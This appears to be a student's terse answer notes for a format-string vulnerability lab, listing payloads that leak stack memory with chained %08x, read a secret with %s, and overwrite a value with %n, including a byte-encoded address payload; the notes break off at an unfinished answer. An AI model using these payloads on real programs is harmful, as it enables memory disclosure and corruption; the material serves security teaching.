2025-09-30 Format Strings Lab

1

i

%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

ii

%08x%08x%08x%08x%08x%08x%08x%08x%s

iii

Input number as address of secret you want to overwrite Pass 8 x %08x, then %n.

iv

Divide value you want to set into 8 numbers that will be summed, each must be either 1, or 8+ Then write those numbers out in %x e.g. to get 70, we would do %08x%08x%08x%08x%08x%08x%08x%0A, then append %n, or if a number must be 1, then %c.

2

i

%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

ii

1c b0 04 08 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 25730a in bytes where 1c b0 04 08 should be replaced with memory address to print.

iii